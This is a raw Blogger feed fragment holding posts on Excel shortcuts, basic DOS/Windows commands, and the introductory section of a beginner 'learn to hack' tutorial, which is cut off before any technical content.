&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-5482653164049629665?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/5482653164049629665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/04/game-serial-key.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/5482653164049629665?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/5482653164049629665?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/04/game-serial-key.html' title='GAME SERIAL KEY'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DEIBQXg6cSp7ImA9WhVRFUw.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-8528283831327186588</id><published>2012-03-23T08:29:00.000-07:00</published><updated>2012-03-23T08:29:10.619-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-23T08:29:10.619-07:00</app:edited><title>EXCEL SHORTCUTKEY</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
CTRL Shortcuts&lt;br /&gt;
CTRL + A Select All&lt;br /&gt;
CTRL + B Bold&lt;br /&gt;
CTRL + C Copy&lt;br /&gt;
CTRL + C, ALT E+S Paste Special&lt;br /&gt;
CTRL + D Fill Down&lt;br /&gt;
CTRL + F Find&lt;br /&gt;
CTRL + G Go to&lt;br /&gt;
CTRL + H Replace&lt;br /&gt;
CTRL + I Italic&lt;br /&gt;
CTRL + K Insert Hyperlink&lt;br /&gt;
CTRL + N New Workbook&lt;br /&gt;
CTRL + O Open File&lt;br /&gt;
CTRL + P Print&lt;br /&gt;
CTRL + R Fill right&lt;br /&gt;
CTRL + S Save workbook&lt;br /&gt;
CTRL + U Underline&lt;br /&gt;
CTRL + V Paste&lt;br /&gt;
CTRL + W Close window&lt;br /&gt;
CTRL + X Cut&lt;br /&gt;
CTRL + Y Repeat&lt;br /&gt;
CTRL + Z Undo&lt;br /&gt;
CTRL + 1 Format Box&lt;br /&gt;
CTRL + 5 Strike-through&lt;br /&gt;
CTRL + 7 Hide/show toolbar&lt;br /&gt;
CTRL + 9 Hide row&lt;br /&gt;
SHIFT + CTRL + 9 Unhide row&lt;br /&gt;
CTRL + 0 Hide column&lt;br /&gt;
SHIFT + CTRL + 0 Unhide column&lt;br /&gt;
CTRL + ~ Show formulas/values&lt;br /&gt;
CTRL + ‘ Copy above formula&lt;br /&gt;
CTRL + ; Display date&lt;br /&gt;
SHIFT + CTRL + : Display time&lt;br /&gt;
CTRL + [ Precedents&lt;br /&gt;
CTRL + ] Dependents&lt;br /&gt;
CTRL + Enter Fill selection w/ entry&lt;br /&gt;
Formatting Shortcuts&lt;br /&gt;
ALT + ‘ Display style&lt;br /&gt;
CTRL + 1 Format Box&lt;br /&gt;
SHIFT + CTRL + ~ General format&lt;br /&gt;
SHIFT + CTRL + ! Number format&lt;br /&gt;
SHIFT + CTRL + @ Time format&lt;br /&gt;
SHIFT + CTRL + # Date format&lt;br /&gt;
SHIFT + CTRL + $ Currency format&lt;br /&gt;
SHIFT + CTRL + % Percentage format&lt;br /&gt;
SHIFT + CTRL + ^ Exponential format&lt;br /&gt;
SHIFT + CTRL + &amp;amp; Outline border&lt;br /&gt;
SHIFT + CTRL + _ Remove border&lt;br /&gt;
SHIFT + CTRL + * Select region&lt;br /&gt;
Tools &amp;gt; Customize &amp;gt; Options Show full menus&lt;br /&gt;
Navigation and Data Editing&lt;br /&gt;
Arrow keys Move to new cells&lt;br /&gt;
ALT + Display a drop-down list&lt;br /&gt;
ALT + Tab Switch programs&lt;br /&gt;
CTRL + Pg Up/Down Switch worksheets&lt;br /&gt;
CTRL + Tab Switch workbooks&lt;br /&gt;
CTRL + Arrow keys Go to end of contiguous range&lt;br /&gt;
SHIFT + Arrow keys Select a cell range&lt;br /&gt;
SHIFT + CTRL + Arrow keys Highlight contiguous range&lt;br /&gt;
Home Move to beginning of row&lt;br /&gt;
CTRL + Home Move to cell “A1”&lt;br /&gt;
F5 “Go to”&lt;br /&gt;
ENTER Move to cell below&lt;br /&gt;
SHIFT + ENTER Move to cell above&lt;br /&gt;
TAB Move to cell to the right&lt;br /&gt;
SHIFT + TAB Move to cell to the left&lt;br /&gt;
BACKSPACE Delete cell and get inside&lt;br /&gt;
DELETE Delete cell/selection&lt;br /&gt;
F2 Edit/ highlight dependent cells&lt;br /&gt;
When inside cell…&lt;br /&gt;
ALT + ENTER Start new line in same cell&lt;br /&gt;
SHIFT + Arrow keys Highlight within cells&lt;br /&gt;
SHIFT + CTRL + Arrow keys Highlight contiguous items&lt;br /&gt;
BACKSPACE Delete preceding character&lt;br /&gt;
DELETE Delete character to the right&lt;br /&gt;
F4 Anchor “Fix” Cells&lt;br /&gt;
ESC Cancel a cell entry&lt;br /&gt;
F7 Spell check&lt;br /&gt;
SHIFT + F2 Insert a comment&lt;br /&gt;
CTRL + F3 Name a cell&lt;br /&gt;
ALT Shortcuts&lt;br /&gt;
ALT + Tab Switch program&lt;br /&gt;
ALT + ‘ Display style&lt;br /&gt;
ALT + T + O Options Menu&lt;br /&gt;
ALT + T + I Add-Ins Menu&lt;br /&gt;
ALT + E + S Paste special box&lt;br /&gt;
ALT + E + S + T Paste format only&lt;br /&gt;
ALT + W + S (Un)split panes&lt;br /&gt;
ALT + W + F (Un)freeze windows&lt;br /&gt;
ALT + E + M Move/ Copy a sheet&lt;br /&gt;
ALT + E + L Delete worksheet&lt;br /&gt;
ALT + V + Z Change view sizing&lt;br /&gt;
ALT + O + C + A Fit column width&lt;br /&gt;
ALT + O + H + R Change tab name&lt;br /&gt;
ALT + E + A Clears cell&lt;br /&gt;
ALT + F + V Print preview&lt;br /&gt;
ALT + F4 Close program&lt;br /&gt;
ALT + F8 Macro box&lt;br /&gt;
ALT + F11 Visual basic editor&lt;br /&gt;
Columns and Rows&lt;br /&gt;
SHIFT + Spacebar Highlight row&lt;br /&gt;
CTRL + Spacebar Highlight column&lt;br /&gt;
SHIFT + ALT + Group rows/columns&lt;br /&gt;
SHIFT + ALT + Ungroup rows/columns&lt;br /&gt;
CTRL + Minus sign Delete selected cells&lt;br /&gt;
SHIFT + CTRL + Plus Sign Insert blank cells&lt;br /&gt;
Formulas and Auditing&lt;br /&gt;
= (equals sign) Start a formula&lt;br /&gt;
SHIFT + F3 Display “Insert Function” box&lt;br /&gt;
ALT + “=“ Insert AutoSum formula&lt;br /&gt;
CTRL + ‘ (apostrophe) Copy formula from above cell&lt;br /&gt;
SHIFT + CTRL + “ (quote) Copy value from above cell&lt;br /&gt;
CTRL + ~ Show formulas/values&lt;br /&gt;
F9 Recalculate all workbooks&lt;br /&gt;
Auditing formulas…&lt;br /&gt;
ALT + T + U + T Trace immediate precedents&lt;br /&gt;
ALT + T + U + D Trace immediate dependents&lt;br /&gt;
ALT + T + U + A Remove tracing arrows&lt;br /&gt;
CTRL + [ Go to precedent cells&lt;br /&gt;
CTRL + ] Go to dependent cells&lt;br /&gt;
SHIFT + CTRL + { Trace all precedents (indirect)&lt;br /&gt;
SHIFT + CTRL + } Trace all dependents (indirect)&lt;br /&gt;
F5 + Enter Go back to original cell&lt;br /&gt;
Function Key Shortcuts&lt;br /&gt;
F1 Excel Help Menu&lt;br /&gt;
F2 Edit cells&lt;br /&gt;
F3 Paste Name&lt;br /&gt;
F4 Repeat or anchor cells&lt;br /&gt;
F5 “Go to”&lt;br /&gt;
F6 Next pane in split mode&lt;br /&gt;
F7 Spell check&lt;br /&gt;
F8 Anchor to highlight&lt;br /&gt;
F9 Recalculate workbooks&lt;br /&gt;
F10 Activate menu bar&lt;br /&gt;
F11 New chart&lt;br /&gt;
F12 Save as&lt;br /&gt;
SHIFT + F2 Insert a comment&lt;br /&gt;
SHIFT + F3 “Insert Function” Box&lt;br /&gt;
SHIFT + F4 Find Next&lt;br /&gt;
SHIFT + F5 Find&lt;br /&gt;
SHIFT + F6 Previous pane&lt;br /&gt;
SHIFT + F8 Add to selection&lt;br /&gt;
SHIFT + F9 Calculate active sheet&lt;br /&gt;
SHIFT + F10 Display shortcut menu&lt;br /&gt;
SHIFT + F11 New worksheet&lt;br /&gt;
CTRL + F3 Name a cell&lt;br /&gt;
CTRL + F4 Close window&lt;br /&gt;
CTRL + F9 Minimize workbook&lt;br /&gt;
CTRL + F10 Maximize window&lt;br /&gt;
CTRL + F12 Open File&lt;br /&gt;
Windows Flag + D Minimize program&lt;br /&gt;
Windows Flag + E Windows explorer&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-8528283831327186588?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/8528283831327186588/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/excel-shortcutkey.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/8528283831327186588?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/8528283831327186588?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/excel-shortcutkey.html' title='EXCEL SHORTCUTKEY'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DEMEQ3c6fSp7ImA9WhVRFUw.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-3165601733662909142</id><published>2012-03-23T08:26:00.001-07:00</published><updated>2012-03-23T08:26:42.915-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-23T08:26:42.915-07:00</app:edited><title>DOS/Windows useful Commands/Utilities:</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;br /&gt;
DOS/Windows useful Commands/Utilities:&lt;br /&gt;
File Commands:&lt;br /&gt;
Type a file type &amp;lt;file&amp;gt;&lt;br /&gt;
See file Page wise more &amp;lt;file&amp;gt;&lt;br /&gt;
Update file’s time stamp touch &amp;lt;file&amp;gt;&lt;br /&gt;
Print a file print &amp;lt;file&amp;gt;&lt;br /&gt;
Delete a file del &amp;lt;file&amp;gt;&lt;br /&gt;
rm &amp;lt;file&amp;gt;&lt;br /&gt;
Directory Commands:&lt;br /&gt;
Create (Make) Directory: md &amp;lt;Directory&amp;gt;&lt;br /&gt;
Change Directory: cd &amp;lt;Directory&amp;gt;&lt;br /&gt;
Remove Directory rd &amp;lt;Directory&amp;gt; {If &amp;lt;directory&amp;gt; is empty}&lt;br /&gt;
Delete &amp;lt;Dir&amp;gt; recursively rm –rf &amp;lt;Directory&amp;gt; {–r à recursive &amp;amp; -f à forcefully}&lt;br /&gt;
Copy Directory recursively xcopy &amp;lt;src&amp;gt; &amp;lt;dst&amp;gt; /s {-sà recursive}&lt;br /&gt;
File/Directory Commands:&lt;br /&gt;
See the List of a directory dir { /p à Page Wise, /w à Wide Listing, /o àOrdered}&lt;br /&gt;
Rename/Move ren &amp;lt;src&amp;gt; &amp;lt;dst&amp;gt;&lt;br /&gt;
move &amp;lt;src&amp;gt; &amp;lt;dst&amp;gt;&lt;br /&gt;
mv &amp;lt;src&amp;gt; &amp;lt;dst&amp;gt;&lt;br /&gt;
Change Attribute attrib ±r ±h ±s &amp;lt;File/Dir&amp;gt;&lt;br /&gt;
attr ±r ±h ±s &amp;lt;File/Dir&amp;gt; {attr is a third party utility}&lt;br /&gt;
Zip pkzip &amp;lt;file.zip&amp;gt; files&lt;br /&gt;
UnZip a zipped file pkunzip &amp;lt;file.zip&amp;gt;&lt;br /&gt;
Disk Commands:&lt;br /&gt;
Partition a disk fdisk &amp;lt;drive&amp;gt;&lt;br /&gt;
Format a disk format &amp;lt;Drive&amp;gt;&lt;br /&gt;
Floppy Disk Copy diskcopy &amp;lt;src drive&amp;gt; &amp;lt;dst drive&amp;gt;&lt;br /&gt;
Date &amp;amp; Time:&lt;br /&gt;
To set/see the date date&lt;br /&gt;
To set/see the time time&lt;br /&gt;
TSR (Terminate &amp;amp; Stay Resident) Programs:&lt;br /&gt;
Get previous commands in command shell doskey&lt;br /&gt;
Other Commands:&lt;br /&gt;
Clear Screen cls&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-3165601733662909142?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/3165601733662909142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/doswindows-useful-commandsutilities.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/3165601733662909142?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/3165601733662909142?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/doswindows-useful-commandsutilities.html' title='DOS/Windows useful Commands/Utilities:'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEYERXc4cCp7ImA9WhVRFE0.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-8152335473833318918</id><published>2012-03-22T00:41:00.002-07:00</published><updated>2012-03-22T00:41:44.938-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-22T00:41:44.938-07:00</app:edited><title>How to learn to hack in easy steps</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div class="Preformatted"&gt;
How
to learn to hack in easy steps&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
Introduction&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Hi
there, I'm ABC and I'd like to give back all the things i've learnt from the
hackers i've&lt;/div&gt;
&lt;div class="Preformatted"&gt;
met.
I want to write this because most tutorials i've found (very good tutorials)
are now&lt;/div&gt;
&lt;div class="Preformatted"&gt;
old
and don't fit just like they did before. This is why i'm going to teach you and
show you&lt;/div&gt;
&lt;div class="Preformatted"&gt;
the
way to learn to hack.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
you are a hacker, you read this, and find something that's not correct or you
don't like,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
i
want to know. mail me.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I'm
sure you'll find a lot of bad-grammars. Don't report them cause I'm not english
and&lt;/div&gt;
&lt;div class="Preformatted"&gt;
i
don't care at all as long as it's understandable.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
On
this document I talk about many security tools, you can find all them and also
contact&lt;/div&gt;
&lt;div class="Preformatted"&gt;
me
on my site: www.3b0x.com&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
When
you finish reading it, please TELL ME how you like it!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I
want to make newer versions of it, check on my site to stay informed.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
COPYING:
You're welcome to distribute this document to whoever the hell you want, post
it&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; on your website, on forums,
newsgroups, etc, AS LONG as you DON'T MODIFY it at all.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If you want to perform it, ask me for
permission. thanks a lot!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
DISCLAIMER:
This document is intended for ludical or educational purposes. I don't want to&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; promote computer crime and I'm not
responible of your actions in any way.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If you want to hack a computer, do
the decent thing and ask for permission first.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Let's
start&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
If
you read carefully all what i'm telling here, you are smart and you work hard
on it,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
you'll
be able to hack. i promise. That doesn't really make you a hacker (but you're
on the way).&lt;/div&gt;
&lt;div class="Preformatted"&gt;
A
hacker is someone who is able to discover unknown vulnerabilities in software
and able to&lt;/div&gt;
&lt;div class="Preformatted"&gt;
write
the proper codes to exploit them.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
NOTE:
If you've been unlucky, and before you found this document, you've readen the&lt;/div&gt;
&lt;div class="Preformatted"&gt;
guides
to (mostly) harmless hacking, then forget everything you think you've learnt
from them.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
won't understand some things from my tutorial until you unpoison your brain.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Some
definitions&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;~~~~~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I'm
going to refer to every kind of computer as a box, and only as a box.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
includes your PC, any server, supercomputers, nuclear silos, HAL9000,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Michael
Knight's car, The Matrix, etc.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
systems we're going to hack (with permission) are plenty of normal users, whose&lt;/div&gt;
&lt;div class="Preformatted"&gt;
don't
have any remote idea about security, and the root. The root user is called&lt;/div&gt;
&lt;div class="Preformatted"&gt;
superuser
and is used by the admin to administer the system.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I'm
going to refer to the users of a system as lusers. Logically, I'll refer to&lt;/div&gt;
&lt;div class="Preformatted"&gt;
the
admin as superluser.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Operating
Systems&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Ok,
I assume you own a x86 box (this means an intel processor or compatible)
running windoze9x,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
or
perhaps a mac (motorola) box running macOS.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
You
can't hack with that. In order to hack, you'll need one of those UNIX derived
operating&lt;/div&gt;
&lt;div class="Preformatted"&gt;
systems.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
This
is for two main reasons:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-the
internet is full of UNIX boxes (windoze NT boxes are really few) running webservers
and&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;so on. to hack one of them, you need a minimun
knowledge of a UNIX system, and what's better&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;than running it at home?&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
-all
the good hacking tools and exploit codes are for UNIX. You won't be able to use
them unless&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;you're running some kind of it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Let's
see where to find the unix you're interested on.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
UNIX systems may be divided in two main groups:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;- commercial UNIXes&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;- free opensource UNIXes&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
A
commercial unix's price is not like windoze's price, and it usually can't run
on your box,&lt;/div&gt;
&lt;div class="Preformatted"&gt;
so
forget it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
The
free opensource UNIXes can also be divided in:&lt;/div&gt;
